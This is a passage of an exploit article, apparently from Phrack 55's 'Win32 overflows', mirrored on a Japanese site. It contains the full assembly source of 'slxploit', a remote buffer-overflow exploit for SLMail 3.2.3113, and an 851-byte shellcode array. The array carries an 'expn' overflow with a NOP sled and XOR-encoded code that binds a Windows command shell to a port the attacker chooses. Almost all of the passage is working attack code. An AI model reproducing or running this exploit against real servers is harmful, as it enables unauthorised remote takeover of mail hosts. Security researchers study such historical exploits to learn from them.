db 0ebh, 0fch, 0fah, 0efh, 099h, 09bh, 099h
store dw ?
db 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 0fah, 0f4h, 0fdh
db 0b7h, 0fch, 0e1h, 0fch, 099h, 0ffh, 0ffh, 0ffh, 0ffh, 00dh, 00ah

logo db "SLMail (3.2.3113) remote.", 13, 10
db "by dark spyrit aka Barnaby Jack <dspyrit@beavuh.org>",13,10,13,10
db "usage: slxploit <host> <port> <port to bind shell>", 13, 10
db "eg - slxploit host.com 27 1234",13,10,0
logolen equ $-logo

errorinit db 10,"error initializing winsock.", 13, 10, 0
errorinitl equ $-errorinit

derror db 10,"error.",13,10,0
derrorl equ $-derror

nohost db 10,"no host or ip specified.", 13,10,0
nohostl equ $-nohost

noport db 10,"no port specified.",13,10,0
noportl equ $-noport

no_port2 db 10,"no bind port specified.",13,10,0
no_port2l equ $-no_port2

response db 10,"waiting for response....",13,10,0
respl equ $-response

reshost db 10,"error resolving host.",13,10,0
reshostl equ $-reshost

sockerr db 10,"error creating socket.",13,10,0
sockerrl equ $-sockerr

ipill db 10,"ip error.",13,10,0
ipilll equ $-ipill

cnerror db 10,"error establishing connection.",13,10,0
cnerrorl equ $-cnerror

success db 10,"sent.. spawn connection now.",13,10,0
successl equ $-success

console_in dd ?
console_out dd ?
bytes_read dd ?

wsadescription_len equ 256
wsasys_status_len equ 128

WSAdata struct
wVersion dw ?
wHighVersion dw ?
szDescription db wsadescription_len+1 dup (?)
szSystemStatus db wsasys_status_len+1 dup (?)
iMaxSockets dw ?
iMaxUdpDg dw ?
lpVendorInfo dw ?
WSAdata ends

sockaddr_in struct
sin_family dw ?
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup (0)
sockaddr_in ends

wsadata WSAdata <?>
sin sockaddr_in <?>
sock dd ?
numbase dd 10
_port db 256 dup (?)
_host db 256 dup (?)
_port2 db 256 dup (?)
buffer db 1000 dup (0)

.code
start:

call init_console
push logolen
push offset logo
call write_console

call GetCommandLineA
mov edi, eax
mov ecx, -1
xor al, al
push edi
repnz scasb
not ecx
pop edi
mov al, 20h
repnz scasb
dec ecx
cmp ch, 0ffh
jz @@0
test ecx, ecx
jnz @@1
@@0:
push nohostl
push offset nohost
call write_console
jmp quit3
@@1:
mov esi, edi
lea edi, _host
call parse
or ecx, ecx
jnz @@2
push noportl
push offset noport
call write_console
jmp quit3
@@2:
lea edi, _port
call parse
or ecx, ecx
jnz @@3
push no_port2l
push offset no_port2
call write_console
jmp quit3
@@3:
push ecx
lea edi, _port2
call parse

push offset wsadata
push 0101h
call WSAStartup
or eax, eax
jz winsock_found

push errorinitl
push offset errorinit
call write_console
jmp quit3

winsock_found:
xor eax, eax
push eax
inc eax
push eax
inc eax
push eax
call socket
cmp eax, -1
jnz socket_ok

push sockerrl
push offset sockerr
call write_console
jmp quit2

socket_ok:
mov sock, eax
mov sin.sin_family, 2

mov ebx, offset _port
call str2num
mov eax, edx
push eax
call htons
mov sin.sin_port, ax

mov ebx, offset _port2
call str2num
mov eax, edx
push eax
call htons
xor ax, 09999h
mov store, ax
mov esi, offset _host
lewp:
xor al, al
lodsb
cmp al, 039h
ja gethost
test al, al
jnz lewp
push offset _host
call inet_addr
cmp eax, -1
jnz ip_aight
push ipilll
push offset ipill
call write_console
jmp quit1

ip_aight:
mov sin.sin_addr, eax
jmp continue

gethost:
push offset _host
call gethostbyname
test eax, eax
jnz gothost
push reshostl
push offset reshost
call write_console
jmp quit1

gothost:
mov eax, [eax+0ch]
mov eax, [eax]
mov eax, [eax]
mov sin.sin_addr, eax

continue:
push size sin
push offset sin
push sock
call connect
or eax, eax
jz connect_ok
push cnerrorl
push offset cnerror
call write_console
jmp quit1

connect_ok:
push respl
push offset response
call write_console

xor eax, eax
push eax
push 1000
push offset buffer
push sock
call recv
or eax, eax
jg sveet
push derrorl
push offset derror
call write_console
jmp quit1
sveet:
push eax
push offset buffer
call write_console
xor eax, eax
push eax
push sploit_length
push offset sploit
push sock
call send
push successl
push offset success
call write_console

quit1:
push sock
call closesocket

quit2:
call WSACleanup

quit3:
push 0
call ExitProcess
parse proc
;cheap parsing..
lewp9:
xor eax, eax
cld
lodsb
cmp al, 20h
jz done
test al, al
jz done2
stosb
dec ecx
jmp lewp9
done:
dec ecx
done2:
ret
endp

str2num proc
push eax ecx edi
xor eax, eax
xor ecx, ecx
xor edx, edx
xor edi, edi
lewp2:
xor al, al
xlat
test al, al
jz end_it
sub al, 030h
mov cl, al
mov eax, edx
mul numbase
add eax, ecx
mov edx, eax
inc ebx
inc edi
cmp edi, 0ah
jnz lewp2
end_it:
pop edi ecx eax
ret
endp
init_console proc
push -10
call GetStdHandle
or eax, eax
je init_error
mov [console_in], eax
push -11
call GetStdHandle
or eax, eax
je init_error
mov [console_out], eax
ret
init_error:
push 0
call ExitProcess
endp

write_console proc text_out:dword, text_len:dword
pusha
push 0
push offset bytes_read
push text_len
push text_out
push console_out
call WriteConsoleA
popa
ret
endp

end start

;--(code ends)------------------------------------------------------------
<-->
ここからCフォーマットのシェルコード:

<++> P55/Win32-overflows/slxploit-shellcode.c !f4bcdaf5
#define sploit_length 851

unsigned char sploit[851] = {
0x65, 0x78, 0x70, 0x6e, 0x20, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0xeb, 0x07, 0x90, 0xaa, 0x1c, 0x9c, 0x77, 0x90, 0x90, 0x90,
0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6,
0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb,
0x99, 0x10, 0x11, 0x44, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0,
0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75,
0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0x0c, 0xff, 0x13, 0xab, 0x59, 0x5a,
0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0x10, 0x56,
0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac,
0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0x0c, 0xff, 0x13,
0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40,
0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff,
0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50,
0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56,
0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56,
0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4,
0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b,
0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47,
0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50,
0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0,
0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50,
0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1,
0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8,
0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x50, 0xff, 0x77, 0xa8, 0xff, 0x57,
0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37,
0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33,
0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff,
0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53,
0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac,
0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff,
0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
0x00, 0x00, // word value for bind port, client must mod and XOR with 0x99
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,
0x0d, 0x0a};
<-->
----[ EOF

●Security INDEXへ

★TOP INDEXへ